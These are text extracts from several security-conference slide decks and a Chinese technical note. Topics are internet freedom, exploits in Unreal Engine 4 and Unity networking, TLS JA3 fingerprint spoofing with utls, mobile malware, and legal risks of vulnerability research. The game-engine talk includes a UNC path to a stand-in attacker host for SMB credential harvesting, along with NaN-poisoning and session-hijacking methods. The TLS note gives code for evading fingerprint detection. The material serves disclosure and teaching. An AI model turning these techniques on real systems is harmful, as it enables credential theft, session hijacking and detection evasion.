www.bastille-linux.org/jay
He earns his living as a security consultant
and penetration tester with the firm
Intelguardians.
www.intelguardians.com | pdf |
Slouching*Towards*Utopia:**
The*State*of*the*Internet*Dream*
*
*
Jennifer*S;sa*Granick*
DEF*CON*24*
centraliza;on*
*
regula;on*
*
globaliza;on*
• Things'will'happen'no'one'will'really'know'
why. **
• The'Internet'is'TV'
• Security'haves'and'have'nots'
• Surveillance,'censorship'&'control''
*
Declara;on*of*Independence*of*
Cyberspace*
*
Governments*of*the*Industrial*World,*you*weary*
giants*of*flesh*and*steel,*I*come*from*
Cyberspace,*the*new*home*of*Mind.*On*behalf*
of*the*future,*I*ask*you*of*the*past*to*leave*us*
alone.*You*are*not*welcome*among*us.*You*have*
no*sovereignty*where*we*gather.*
The*Dream*of*Internet*Freedom*
• Overcome*age,*race,*class,*and*gender*
• Communicate*with*anyone,*anywhere*
• Free*access*to*informa;on*
• Hands*on*impera;ve*
• Computers*will*liberate*us*
*
*
*
EQUALITY*
*
*
*
*
FREEDOM*OF*EXPRESSION*
*
*
*
*
OPEN*ACCESS*
*
*
*
FREEDOM*TO*TINKER*
(THE*HANDS*ON*IMPERATIVE)*
*
*
*
*
LIBERATION*
The*“Cycle”*
History*shows*a*typical*progression*of*
informa;on*technologies*from*somebody’s*
hobby*to*somebody’s*industry;*from*jury`rigged*
contrap;on*to*slick*produc;on*marvel;*from*a*
freely*accessible*channel*to*one*strictly*
controlled*by*a*single*corpora;on*or*cartel*—*
from*open*to*closed*system.**
*
*
Privacy*&*Security*
*
*
Encryp;on*
The*Next*20*Years*
• Things'will'happen'no'one'will'really'know'
why. **
• The'Internet'is'TV'
• Security'haves'and'have'nots'
• Surveillance,'censorship'&'control''
*
*OR*
• Think*globally*
• Build*decentraliza;on*where*possible*
• End*to*end*encryp;on*
• Hands*off*private*tech*development*
• Start*being*afraid*of*the*right*things*
• CFAA,**DMCA,*USAPA,*FAA*
• Start*crea;ng*the*technology*for*the*next*
cycle*of*the*revolu;on**
*
*
Ques;ons*and*Comments* | pdf |
BUGS IN MULTIPLAYER GAME ENGINES
FINDING + EXPLOITING
BACKGROUND
> Over a few months I found 10+ remotely
exploitable bugs in 2 game engines
> I’m going to talk about 4 of these bugs (2 per
engine)
GAME
ENGINES
> The term Game Engine refers to the base
software on which most video games are created
> The popularity of many game engines means that
lots of game share the same bugs
> Updating your game engine can be a huge pain
> Games don’t often get “security patches” after
release
GAME
ENGINES
> General understanding is that two engines are
the most common:
> Unreal Engine 4 (Or UE4)
> Unity
> If you’re a solo developer or small team, there’s a
good chance you’re using Unity
> If you’re a larger team and haven’t built your own
engine, you’re probably using UE4
UNREAL
ENGINE 4
> Created by Epic Games
> Named for its roots in the Unreal series
> Open source (With licensing restrictions)
> Notable games:
> Fortnite
> PlayerUnknown’s Battlegrounds (PUBG)
UNITY
> Created by Unity Technologies
> Core components are closed source
> Core networking library is called UNET
> Games using UNET:
> Countless indie releases on Steam
UNET
> UNET is technically deprecated, but Unity
Technologies has not released an alternative
> UNET still receives patches and even occasional
new features
> Encryption API was added post-deprecation
> A TON of new and existing games use UNET
MULTIPLAYER
PROTOCOLS
> The evolution of multiplayer architectures has
largely focused on two things
> Increasing performance
> Moving trust away from the client
> These are often conflicting goals
MULTIPLAYER
PROTOCOLS
> To understand multiplayer protocols we should
understand the attacks they aim to prevent
> A good example of the evolution of multiplayer
protocols is the evolution of Movement Hacking
MOVEMENT
HACKING
> One of the oldest and most common types of
game hack is manipulating the player’s location
> In the good old days, player location was trusted
to the client
> Manipulate location client-side and we can
teleport
MOVEMENT
HACKING
> To prevent this type of attack, authority over
player location is trusted only to the server
> Instead, clients can make a request to move the
player and the server can update their position
accordingly
> This lead to a new type of attack, Speed Hacking
SPEED
HACKING
> Speed hacking was the next evolution in
movement hacking where the goal is not to
teleport, but to move extremely fast
> This typically works by sending a movement
request excessively fast
> More requests = More speed
SPEED
HACKING
> Speed hacking is prevented by restraining
movement server side
> The server knows what is realistic movement
for a given time frame and prevents anything
beyond this
MULTIPLAYER PROTOCOL BASICS
DISTRIBUTED
ARCHITECTURE
> Most multiplayer protocols use some form of
Distributed Architecture
> Each system (client or server) has a copy of
each “networked” object in the game world
> Actions are performed and propagated
through Remote Procedure Calls (RPCs)
REMOTE
PROCEDURE
CALLS
> Remote Procedure Calls are used to call
functions on a remote system as if it were local
> This simplifies things significantly for the
developer
> There’s a lot of complexity that goes into this
process on the back-end
OBJECT
OWNERSHIP
> Multiplayer protocols typically have some
concept of ownership
> Owning an object means having the authority to
issue RPCs on that object
> Each player has ownership over their character
and associated subobjects
> Player A can issues RPCs on Character A, but
not Character B
MULTIPLAYER
PROTOCOLS
> For performance, most multiplayer protocols are
implemented over UDP
> Browser games are the main exception here
> This puts extra requirements on the protocol:
> Validate packet sender
> Identify duplicate or out-of-order packets
UE4 ARBITRARY FILE ACCESS
BUG #1
UE4 URLS
> UE4 uses its own type of "URL" to communicate
details between server and client. This includes:
> Package names (Such as loading maps or
other assets)
> Client information (Player name, how many
split-screen players are on one client)
127.0.0.1//Game/ThirdPersonCPP/Maps/ThirdPersonExampleMap?Name=Player
UE4 URLS
> A malicious URL can cause a server or client to
access any local file path
> This is boring, unless we use Universal Naming
Convention (UNC) paths
> UNC paths are special Windows paths used to
access networked resources like regular files
> They typically look like this:
\\hostname\sharename\filename
UE4 URLS
> We can cause a server or client to connect to a
remote SMB share with the following URL:
\\asdf.umap.attacker.com\hi\hi.txt
UE4 URLS
> This opens affected servers/clients up to the
world of SMB-related attacks
> Credential harvesting
> Authentication relaying
> Can also be used as a server DoS
> Fixed in UE4.25.2 with commit
cdfe253a5db58d8d525dd50be820e8106113a746
UNET MEMORY DISCLOSURE
BUG #2
UNET
MEMORY
DISCLOSURE
> UNET packets are packed in a format that can
allow for multiple RPCs in a single packet
Packet Header
16-bit Msg Len
16-bit Msg Type
Msg Body
16-bit Msg Len
16-bit Msg Type
Msg Body
M
S
G
1
M
S
G
2
UNET
MEMORY
DISCLOSURE
> If we supply a message size field larger than our
actual payload, the server will act on extra data
already in memory
04
00
05
00
41
42
43
44
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
LENGTH
BODY
1C
00
05
00
41
42
43
44
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
LENGTH
UNET
MEMORY
DISCLOSURE
> This old memory comes from past RPCs,
including those from other connections
> We can create an RPC that will leak this memory
to us Heartbleed-style
UNET
MEMORY
DISCLOSURE
> To leak memory we need an RPC that will trigger
a response with data from our malformed RPC
> Chat messages are typically the perfect RPC for
this
04
00
05
00
02
00
41
42
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
LENGTH
STRING BODY
STRING LEN
1C
00
05
00
1A
00
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
XX
LENGTH
STRING LEN
UNET
MEMORY
DISCLOSURE
> Other types of RPCs we might use:
> Movement
> Spawning a new object
> Other game specific commands
UNET
MEMORY
DISCLOSURE
> What can we leak?
> Passwords
> Private messages
> Player locations/actions
> ... really anything sent over UNET
> Fixed in UNET version 1.0.6
UE4 UNIVERSAL SPEED HACK
BUG #3
UE4
MOVEMENT
> UE4 movement is server-authoritative
> Client cannot directly dictate the player’s
position
> To move the character, the client issues a
movement RPC
MOVEMENT
RPC
> The movement RPC has two important
arguments (We’re simplifying a bit)
> The movement vector
> A vector dictating the direction and speed of
movement
> A timestamp of when the RPC is issued
> Represented as a 32-bit float
// Calculate the time since last movement
MovementDelta = CurrentTimestamp - LastTimestamp
// Calculate the distance moved in this time
AppliedMovement = MovementVector * MovementDelta
FLOATING
POINT
> Now we need to talk about floating point
> Floating Point (Specifically IEEE 754) is how most
computer systems represent rational numbers
such as 12.34
FLOATING
POINT
> Floating point has some "special" values
+/- Infinity (or INF)
+/- Not-a-Number (or NaN)
FLOATING
POINT
> These special values usually result from
undefined mathematical operations
1.0 / 0.0 = INF
-1.0 / 0.0 = -INF
0.0 / 0.0 = NaN
sqrt(-1) = NaN
FLOATING
POINT
> NaN in particular has some special properties
> Any affirmative comparison against NaN
evaluates to false
NaN == 0 // false
NaN > 0 // false
NaN < 0 // false
NaN == NaN // false
FLOATING
POINT
> NaN tends to “propagate”
> Any mathematical operation including NaN
evaluates to NaN
NaN + 1 = NaN
NaN - 1 = NaN
NaN * 2 = NaN
NaN / 2 = NaN
NaN
POISONING
> NaN Poisoning is where these properties of NaN
are used to cause some unintended effect
> For example, take the following code
float num = NaN
if (num > 100.0f || num < 0.0f)
return false;
// do important stuff with num
NaN
POISONING
> NaN poisoning attacks are rare because it is
typically difficult to introduce NaN into an
equation
> However, when we call RPCs we can use any
arguments we want (including NaN or INF)
MOVEMENT
RPC
> Back to our movement RPC, what happens if our
timestamp is NaN?
> Timestamp is first passed through the function
UCharacterMovementComponent::IsClientTimeStampValid
if (TimeStamp <= 0.f)
{
return false;
}
const float DeltaTimeStamp = (TimeStamp - ServerData.CurrentClientTimeStamp);
// If TimeStamp is in the past, move is outdated, not valid.
if( TimeStamp <= ServerData.CurrentClientTimeStamp )
{
return false;
}
if (DeltaTimeStamp < UCharacterMovementComponent::MIN_TICK_TIME)
{
return false;
}
// TimeStamp valid.
return true;
if (TimeStamp <= 0.f)
{
return false;
}
const float DeltaTimeStamp = (TimeStamp - ServerData.CurrentClientTimeStamp);
// If TimeStamp is in the past, move is outdated, not valid.
if( TimeStamp <= ServerData.CurrentClientTimeStamp )
{
return false;
}
if (DeltaTimeStamp < UCharacterMovementComponent::MIN_TICK_TIME)
{
return false;
}
// TimeStamp valid.
return true;
if (TimeStamp <= 0.f)
{
return false;
}
const float DeltaTimeStamp = (TimeStamp - ServerData.CurrentClientTimeStamp);
// If TimeStamp is in the past, move is outdated, not valid.
if( TimeStamp <= ServerData.CurrentClientTimeStamp )
{
return false;
}
if (DeltaTimeStamp < UCharacterMovementComponent::MIN_TICK_TIME)
{
return false;
}
// TimeStamp valid.
return true;
if (TimeStamp <= 0.f)
{
return false;
}
const float DeltaTimeStamp = (TimeStamp - ServerData.CurrentClientTimeStamp);
// If TimeStamp is in the past, move is outdated, not valid.
if( TimeStamp <= ServerData.CurrentClientTimeStamp )
{
return false;
}
if (DeltaTimeStamp < UCharacterMovementComponent::MIN_TICK_TIME)
{
return false;
}
// TimeStamp valid.
return true;
MOVEMENT
RPC
> By pure luck, all of these conditionals are written
such that NaN will pass right through
> Since our timestamp was "valid", we generate
DeltaTime using NaN
float DeltaTime = ClientTimeStamp - CurrentClientTimeStamp;
MOVEMENT
RPC
> Now the server will attempt to apply our
movement
> Here we run into our first issue
// Perform actual movement
if (DeltaTime > 0.f)
{
MoveAutonomous(TimeStamp, DeltaTime);
}
MOVEMENT
RPC
> Our movement doesn't apply since DeltaTime is
NaN
> But we're not done yet! We've caused
ServerData->CurrentClientTimeStamp to be NaN
> Now we need to look back at
UCharacterMovementComponent::IsClientTimeStampValid
if (TimeStamp <= 0.f)
{
return false;
}
const float DeltaTimeStamp = (TimeStamp - ServerData.CurrentClientTimeStamp);
// If TimeStamp is in the past, move is outdated, not valid.
if( TimeStamp <= ServerData.CurrentClientTimeStamp )
{
return false;
}
if (DeltaTimeStamp < UCharacterMovementComponent::MIN_TICK_TIME)
{
return false;
}
// TimeStamp valid.
return true;
if (TimeStamp <= 0.f)
{
return false;
}
const float DeltaTimeStamp = (TimeStamp - ServerData.CurrentClientTimeStamp);
// If TimeStamp is in the past, move is outdated, not valid.
if( TimeStamp <= ServerData.CurrentClientTimeStamp )
{
return false;
}
if (DeltaTimeStamp < UCharacterMovementComponent::MIN_TICK_TIME)
{
return false;
}
// TimeStamp valid.
return true;
if (TimeStamp <= 0.f)
{
return false;
}
const float DeltaTimeStamp = (TimeStamp - ServerData.CurrentClientTimeStamp);
// If TimeStamp is in the past, move is outdated, not valid.
if( TimeStamp <= ServerData.CurrentClientTimeStamp )
{
return false;
}
if (DeltaTimeStamp < UCharacterMovementComponent::MIN_TICK_TIME)
{
return false;
}
// TimeStamp valid.
return true;
MOVEMENT
RPC
> DeltaTimeStamp will be NaN regardless of what
our second TimeStamp is
> On this second RPC call any timestamp >0.0 will
pass the validity check
> Unfortunately, our DeltaTime will still calculate to
NaN, so still nothing happens!
> Fortunately, now we've poisoned another value
float ClientError = ClientDelta - ServerDelta;
float NewTimeDiscrepancy = ServerData.TimeDiscrepancy + ClientError;
MOVEMENT
RPC
> The value NewTimeDiscrepancy is used to detect
a difference between client time and server time
> If this difference becomes too large, the server
will start ignoring our movement RPCs
> By poisoning this value we can make it
impossible for the server to detect that our time
difference is invalid
if (NewTimeDiscrepancy > MovementTimeDiscrepancyMaxTimeMargin)
{
// Time discrepancy detected
}
MOVEMENT
RPC
> Once NewTimeDiscrepancy is NaN, the server
cannot detect a time discrepancy for any
timestamp we send
> We can now pull off an old-school speed hack by
“speeding up time” client side
> This allows us to move significantly faster than
built-in limitations would normally allow
UE4 SPEEDHACK
DEMO #1
RPC FLOAT
POISONING
> Fixed in UE4.25.2 with commit
012a7fa095d18d4c4b6c29e9f7bda0904377b667
> This demonstrates a fun type of attack against
UE4 games - float poisoning
> Can also apply to UNET
UNET REMOTE SESSION HIJACKING
BUG #4
UNET SESSION
AUTHENTICATION
> UNET uses a protocol-level process to
authenticate packets
> Remember - UNET is over UDP
> Packets are not validated by source IP address,
only by values within the packet
> Knowing this, it is theoretically possible to hijack
another player’s session fully remotely
UNET SESSION
AUTHENTICATION
> There are 3 important values that are used to
validate an incoming packet:
> Host ID
> Session ID
> Packet ID
HOST ID
> The Host ID is a 16-bit integer that associates a
packet with a given client
> Host IDs are assigned sequentially starting at 1
> Note that this is per CLIENT. The server player
does not get a Host ID
> Host IDs are not intended to be a secret
> We can easily enumerate the Host ID of other
players
SESSION ID
> The Session ID is the primary authenticating
secret of a connection
> Session ID is randomly generated by the client
when connecting
> All packets must have the correct Session ID or
be discarded
SESSION ID
> Session IDs are also 16-bit integers and cannot
be 0. This means there are only 65535 possible
Session IDs (1 - 0xFFFF inclusive)
> There is no penalty for guessing a wrong Session
ID other than the packet being dropped
> We can easily brute force 65535 possible options
SESSION ID
> We can narrow down the search even more
> Session IDs are generated with the function
UNET::GetRandNotZero
> This function ensures the result is not zero by
OR’ing the result with 1
> This means a legitimate client will only ever
generate odd-number Session IDs
> This reduces possible Session IDs to 32768
PACKET ID
> Knowing the Host ID and guessing the Session ID
means our spoofed packet will be accepted
> There’s one more hiccup though, the Packet ID
> The packet ID is incremented with each packet
sent by the client (Like a sequence number)
> Again, 16-bits long
PACKET ID
> The packet ID is used to detect duplicate or
out-of-order packets
> It’s also used to determine the rate of packet loss
> If the last packet ID was 1 and the next packet
ID is 1000, we assume 998 packets are
missing
PACKET ID
> We can determine Host ID and guess Session ID,
what can we do with Packet ID?
> What happens if we send a random Packet ID?
> Let’s read the documentation
PACKET ID
> If new packet ID is greater than last packet ID +
512 (0x200), disconnect the session
> If packet ID is more than 512 behind current
packet ID, discard
> If packet ID has been seen recently, discard
> Otherwise, accept and process packet
From https://github.com/Unity-Technologies/UnetEncryptionExample/blob/master/docs/duplication.md
PACKET ID
> If our guessedPacketId > lastPacketId + 512 the
connection will be disconnected
> This is still useful! We can easily kick other
players off the server
> However, it’s much more interesting if we can
bypass this check
PACKET ID
> From the documentation, the odds of us injecting
a valid packet are low
> guessedPacketId must be lastPacketId +/- 512
> Less than 7% chance of success
> The implementation tells a slightly different story
however
PACKET ID
> Packet ID validation is done by the function
UNET::ReplayProtector::IsPacketReplayed
> In practice, this function does not actually
discard packets that are more than 512 packets
old
> Instead, old packets are accepted!
PACKET ID
> Unfortunately, we can’t just use a low packet ID to
always be accepted
> The check accounts for cases where the packet
ID overflows from 0xFFFF to 0
> Instead, the server has a “rolling window” of
0x7FFF IDs used to determine if a packet is old or
new
PACKET ID
> Doing the math, we have very close to a 50%
chance that a packet ID will be accepted
> Most of the rest of the time, we cause the other
player to get kicked
> Occasionally our packet ID will be a duplicate
and the injected packet will be discarded
SESSION HIJACKING
DEMO #2
REMEDIATION
> This is considered to be an architectural
weakness of UNET
> The only mitigation against this encrypting UNET
> Unity provides a reference implementation
> Does not implement key exchange
> I have not found a single game implementing this
FUTURE
WORK
> I probably haven’t found all the bugs even in the
components I looked at
> Both protocols have other transport modes
(Particularly websockets)
> Third party networking plugins (Like Photon,
Mirror)
> Other engines (GameMaker Studio, Godot, etc)
THANKS
> Epic Games and Unity Technologies security
teams for putting up with me
> Igor Grinku (https://twitter.com/Grigoreen) for
the background art
github.com/qwokka/defcon28 | pdf |
1
tls指纹
具体可参考这个
go默认使⽤的client hello配置是固定不变的，导致特征也是固定的，所以需要做改动。
go默认ja3指纹89be98bbd4f065fe510fca4893cf8d9b
chromeja3指纹cd08e31494f9531f560d64c695473da9
⼀共分为五个部分
SSLVersion,Cipher-Suites,SSLExtension,EllipticCurve,EllipticCurvePointFormat
为了尽量模拟浏览器的client hello，我们先⽐下go和chrome的tls指纹组成
go：
chrome：
SSLVersion⼀致
可以修改Cipher-Suites
在pkg/transport/tls.go，tls.Config⽀持CipherSuites修改，如下
ja3
此处为语雀内容卡⽚，点击链接查看：https://www.yuque.com/go/doc/61846405?view=doc_embed
771,49199-49200-49195-49196-52392-52393-49171-49161-49172-49162-156-157-47-
53-49170-10-4865-4867-4866,5-10-11-13-65281-18-43-51,29-23-24-25,0
1
XML
复制代码
771,4865-4866-4867-49195-49199-49196-49200-52393-52392-49171-49172-156-157-
47-53,0-23-65281-10-11-35-16-5-13-18-51-45-43-27-17513-21,29-23-24,0
1
XML
复制代码
2
SSLExtension,扩展列表这个实在不好改，go的官⽅tls库⽐chrome少了不少参数，所以这个就先别做修
改了。
EllipticCurve
椭圆曲线密码，刚好也⽀持这个选项配置，就做调整
EllipticCurvePointFormat
最后⼀项椭圆曲线格式，默认均为0，所以不做改动。
总⽽⾔之，⼀共只需要修改两处
修改后，指纹也就变化了，可以区别于默认go程序的指纹，但还⽆法做到和浏览器⼀致，后续需要魔改
官⽅tls库来兼容更多的extension才能实现完全模拟。
base.CipherSuites = []uint16{4865,4866,4867,49195,49199,49196,49200,52393,5
2392,49171,49172,156,157,47,53}
1
XML
复制代码
base.CurvePreferences = []tls.CurveID{tls.X25519, tls.CurveP256, tls.CurveP
384}
1
XML
复制代码
3
⽂章
https://mp.weixin.qq.com/s/og2IKo8lcydh8PROUPD7jQ
https://segmentfault.com/a/1190000041699815
库
https://github.com/refraction-networking/utls
这个库是基于crypto/tls进⾏开发的，可以模拟绝⼤部分情况下的ja3指纹。
和官⽅库差不多的⽤法，如下在封装时除了conn连接和config配置以外，需要传
⼊ ClientHelloID ，这个ID是有⼀些内置的指纹可以直接调⽤，或者也可以⾃定义。
这是官⽅库
u_common.go，如下有⾮常全的现成指纹信息可以⽤。
实现
conn, _ := net.DialTimeout("tcp", "121.14.77.201:443", 10*time.Second)
uConn := tls.UClient(conn, &tls.Config{ServerName: "www.qq.com", Insecu
reSkipVerify: true}, tls.HelloChrome_102)
uConn.Write([]byte("aaa"))
1
2
3
Go
复制代码
4
这些ID最终对应到这个函数 utlsIdToSpec ⾥
5
后续可参考这边编写实现⾃⼰的。
6
并且该库还⽀持解析数据包中的client hello信息，来⾃动化构建⼀个⾃定义参数，实现模拟各种ja3指纹
浏览器访问，然后抓包找到client hello包，选中tls层的数据，然后复制成hex stream即可。
7
将tls的hex数据粘贴到以下位置，通过 fingerprinter.FingerprintClientHello 即可解析⽣
成⼀个⾃定义spec，封装到tlsConn⾥直接使⽤。
要注意的是 ClientHelloID 还设置成 HelloCustom 即⾃定义
8
可以看到完全⼀致（wireshark好像3.6以上就⽀持ja3的指纹⽣成了）
PS: 要注意⼀点，SNI也会参与计算，如果ServerName为空会不插⼊Extension⾥，导致ja3指纹计算结
果不⼀样
conn, _ := net.DialTimeout("tcp", "121.14.77.201:443", 10*time.Second)
rawCapturedClientHelloBytes, _ := hex.DecodeString("1603010200010001fc
03037741eebedfb7afbcfcd0f49f9b59d7a9c13eb3ccd8f207b8c692ffb1b9b9f5c22017bd
40c3ec96ca8c21df97de564ce5e4e88bc945ca902d7d4260f77fb980631400221a1a130113
0213021303c02bc02fc02cc030cca9cca8c013c014009c009d002f0035010001918a8a0000
00000012001000000d7370312e62616964752e636f6d00170000ff01000100000a000a0008
dada001d00170018000b00020100002300a00efd73f80bf561e25ea122de025cb65678ebfc
d201e8c49325fbabe586918cdb8cfdeaac64d4798b351295c62d94aa3c48a8f4181bee25d4
202025cbf7eaf074233d576018c8adfe0d4527daa496e1b05162c0490a00fb108522a31e0b
f369482a97a77d62f147f1657e927b45223545e7ad54f99239d820ed81b41c172a15dc3762
f5d8fd1d333e082f55daca4e38ae11456fa4caf6be4419b56e5ed36a08580010000e000c02
683208687474702f312e31000500050100000000000d001200100403080404010503080505
0108060601001200000033002b0029dada000100001d0020ecb49f62fef0dc89ff3e6084d9
9e39b27820e68d9c4d8bf24b6d367e286ce05a002d00020101002b000706baba0304030300
1b0003020002446900050003026832caca0001000015002800000000000000000000000000
000000000000000000000000000000000000000000000000000000")
uConn := tls.UClient(conn, &tls.Config{ServerName: "www.qq.com", Insec
ureSkipVerify: true}, tls.HelloCustom)
fingerprinter := &tls.Fingerprinter{}
generatedSpec, err := fingerprinter.FingerprintClientHello(rawCaptured
ClientHelloBytes)
if err != nil {
t.Fatalf("fingerprinting failed: %v", err)
}
if err := uConn.ApplyPreset(generatedSpec); err != nil {
t.Fatalf("applying generated spec failed: %v", err)
}
uConn.Write([]byte("aaa"))
1
2
3
4
5
6
7
8
9
10
11
12
Go
复制代码
9
这个库还有些其他玩法，可以⾃⾏参考⽂档或者他的 example.go
存在⼩bug，如果⾃动握⼿，可能会出现握⼿失败的问题，建议⼿动握⼿
utls bug
10
uConn := tls.UClient(c, tlsConfig, tls.HelloChrome_Auto)
// 错误姿势，如此可能会报错
uConn.Write([]byte("a"))
// 正确姿势
err := uConn.Handshake()
1
2
3
4
5
Go
复制代码 | pdf |
Malicious Code & wireless networks
By: Brett Neilson
7/13/2002
Slide 2
Defcon 11
Overview
•
Wireless technology, networks & devices
•
Defining wireless threats
•
Why malicious code will spread on wireless networks
•
Economic impact & potential damages
•
Protecting against malicious threats
Wireless technology & networks
7/13/2002
Slide 4
Defcon 11
What is wireless?
•
Merriam Webster says:
– Wireless: adjective
1: Having no wire or wires
•
Basic Components of a wireless system
– Antenna
• The conduit of sorts
– Transmitter
• Sends the RF
– Receiver
• Receives the RF
7/13/2002
Slide 5
Defcon 11
So who is using it?
•
Everybody
– TV / Radio / Satellite
– Police / Fire / EMS
– Cell Phones / Pagers
– Building access cards
– Automatic Toll Collection (Toll Tags)
7/13/2002
Slide 6
Defcon 11
Mobile Data Terminals (MDT)
•
Very popular with Police and Fire
•
Allows instant access to dispatcher data
•
More secure???
– Up until recently legal to monitor
•
New features include
– Live video monitoring
7/13/2002
Slide 7
Defcon 11
Cellular Technologies
3G (Third Generation)
– 2002 and beyond (In progress)
– Data speeds (144+Kbps)
– Video and Audio
2.5G (Not quite 3G)
– 2001 to present
– Digital / PCS Services
– Data speeds (56Kbps)
– Email messaging
2G (Second Generation)
– 1995 to present
– Digital / PCS Services
– Data speeds (9.6 – 19Kbps)
– Text messaging
1G (First Generation)
– 1983 to present
– Analog cellular service
– Voice only
7/13/2002
Slide 8
Defcon 11
802.11 Networks
802.11g
20 Mbps
2.4 Ghz
802.11b
11 Mbps
2.4 GHz
802.11a
54 Mbps
5.15-5 GHz
802.11
1 to 2 Mbps
2.4 GHz
7/13/2002
Slide 9
Defcon 11
Wireless Devices
•
PDA
– Palm & iPAQ
– Strong Growth in 2000
• Slowly shrinking thereafter
– Renewed interest due to advances
– New suppliers entering the market
•
Converged Devices
– PDA & Phone combined into one
– All the features w/ all the connectivity
– Designed for size not security
•
Wireless (Security) Cameras
•
RFID devices
Defining Wireless Threats
7/13/2002
Slide 11
Defcon 11
Defining the wireless threats
•
WarDriving
– Searching and Logging
•
Data Snooping
– Capturing data
•
Jamming
– Disrupting legitimate signals
•
Insertion Attacks
– Unauthorized clients and APs
7/13/2002
Slide 12
Defcon 11
Defining the wireless threats
•
Malicious Code
– Virus
• A piece of code that can replicate itself
– SMS - URLs & Attachments
– Worm
• A program that can copy itself to other disks
– Masquerades as valid program
– Trojan
• A program that launches other programs or code
– Masquerades as valid program
7/13/2002
Slide 13
Defcon 11
Emerging threats
•
Liberty Trojan (PLAM) - September 2000
– Deleted applications and was unable to replicate itself
•
Timophonica (Spain) - January 2001
– First automatic dialer
•
911 - April 2001
– Caused phones to repeatedly dial 911
– Sent to over 100,000 phones
•
Flooder - August 2001
– Sends unwanted SMS messages
•
Phage & Vapor – September 2001
– Deleted files and hid applications
Why Malicious Code will spread
7/13/2002
Slide 15
Defcon 11
Why Malicious Code will spread…
•
In nature, viruses infect all organisms, even the tiniest bacteria.
– Small Pox, Plague, SARS
•
Likewise, computer viruses infect all platforms that reach a any
level of sophistication.
– Melissa, LoveBug, Klez
7/13/2002
Slide 16
Defcon 11
Four main factors
1) Protection is poor or non-existent
2) Power of new devices
3) Standardization of networks
4) Increased connection of devices
7/13/2002
Slide 17
Defcon 11
Protection is poor or non-existent
•
Very little built in protection
– Nokia 9000 series has malicious code protection
•
Data transmissions are protected but unchecked
– Currently no carrier has the ability to scan SMS or MMS
delivery servers for malicious code.
– Current security only offers limited protection and next to no
scanning abilities
7/13/2002
Slide 18
Defcon 11
Power of new devices
•
PDAs are now able to run PC like applications
– Increased power means increased automation
• Automation is often targeted by virus writers.
•
Devices are often synchronized on a regular basis
– Thus opening a door for the spread of malicious code
•
Common language for developing apps
– Makes it easier to create malicious code
7/13/2002
Slide 19
Defcon 11
Standardization of networks
•
The more standard the easier malicious code will spread
– Same as in the wired world
•
Trend is moving away from proprietary standards and is focusing
more on TCP/IP related standards
•
Email messaging brought us Melissa and LuvBug
– Standardized wireless networks are sure to do the same
7/13/2002
Slide 20
Defcon 11
Increased connection of devices
•
More connectivity than ever
– Bluetooth
– WiFi 802.11
– Cellular
•
Allows for multiple ways to the internet and email
•
Increased SMS/MMS popularity and exposure due to links and
attachments
Economic Impact and Potential Damages
7/13/2002
Slide 22
Defcon 11
Damages
•
Users receive unwanted messages
•
Some devices send unwanted messages
•
Data in devices is erased, deleted or stolen
•
Device becomes unusable
•
Network slowdowns (congestion)
•
Network performance suffers
•
Network intrusion
7/13/2002
Slide 23
Defcon 11
Impact
•
Customer complaints
•
Higher turnover from unhappy customers
•
Cost from unwanted traffic
– May not be just dollars
•
Dropped calls
•
Un-infecting or cleaning devices & servers/network
•
Purchasing new technology
7/13/2002
Slide 24
Defcon 11
So what's the financial impact?
43
212
471
0
100
200
300
400
500
Millions
2003
2004
2005
So what needs to be done?
7/13/2002
Slide 26
Defcon 11
Protecting against malicious threats
•
Protection must be implemented at every point possible
– Devices, Switches, Towers, COs, etc.
•
Mobile operators need to start offering scanning services to their
clients and need to start scanning their servers and data streams.
•
Delivering a solution now rather than latter could save millions of
dollars in lost revenue and expenses.
– AV Vendors need to start step up to the plate
•
Mobile operators and device manufactures need to have plans for
addressing thousands if not millions of simultaneous infections on
their networks.
7/13/2002
Slide 27
Defcon 11
Conclusion
•
Top four reasons malicious code will spread
1. Current protection of wireless networks/devices is minimal
2. Increased computing power
3. Standardization
4. Growing connectivity
•
Not changing security could result in large economic losses
–
$471 Million per 5 Million users estimated for 2005
•
Mobile Operators, Administrators, Manufactures and Developers
should act now and think proactively in a effort to better protect
their systems.
Thank you…
Brett Neilson
[email protected] | pdf |
Persona Not
Validated -
1362589322691
Digitally signed by Persona Not Validated -
1362589322691
DN: cn=Persona Not Validated - 1362589322691,
[email protected], ou=S/
MIME, ou=Persona Not Validated, ou=Symantec
Trust Network, o=Symantec Corporation
Date: 2013.08.08 21:25:51 -04'00'
This presentation is not legal advice
about your specific situation.
This presentation does not create an
attorney-client relationship.
While these approaches are designed to
reduce risk, they cannot eliminate it.
DEF CON 21
2
Overview
•Types of Risks to Researchers
•Risk Mitigation Strategies
•Disclosure Options
•Risk Mitigation for Selling Exploits
Your Goal: Be a Harder Target
3
DEF CON 21
Risks in Disclosing or Selling
Research Examples:
You found out how to see other people’s
utility bills by changing the http query string
You discovered your neighbor’s WiFi is
using the default password
You broke the crypto protecting media
You wrote a better RAT
Many of the same risks apply
4
DEF CON 21
What are we talking about?
“Techniques”
Information relating to both exploits and vulnerabilities that enable another
party to obtain unauthorized access to a computer, deny access by others to a
computer, or cause permanent or temporary damage to a computer or a
network
DEF CON 21
5
When is There Risk?
•Threats of with legal action before
conference or disclosure
Chris Paget (IOActive) (Black Hat) - 2007
Princeton Prof. Felten (USENIX) - 2001
•Injunction barring disclosure before
conference or disclosure
Megamos (USENIX) - 2013
MIT - Massachusetts Bay Transportation Authority (DEFCON) -
2008
6
DEF CON 21
When is There Risk?
•Legal actions initiated after
conference or disclosure
Cisco - Michael Lynn (ISS) (Black Hat) 2005
Civil lawsuit filed after talk
Dmitry Sklyarov (DEFCON)
Taken into custody in Las Vegas after DEFON
presentation
7
DEF CON 21
Computer Fraud
and Abuse Act
accesses “without authorization”
“exceeds authorized access”
by deployment or development effort
8
DEF CON 21
Computer Fraud and Abuse Act
Are you connected to the internet?
Are you accessing a remote system?
Do you have permission to access that
system?
9
DEF CON 21
Conspiracy
to violate the CFAA
risk enhanced by social media
10
DEF CON 21
CFAA Risk Example Cases
• Criminal prosecution
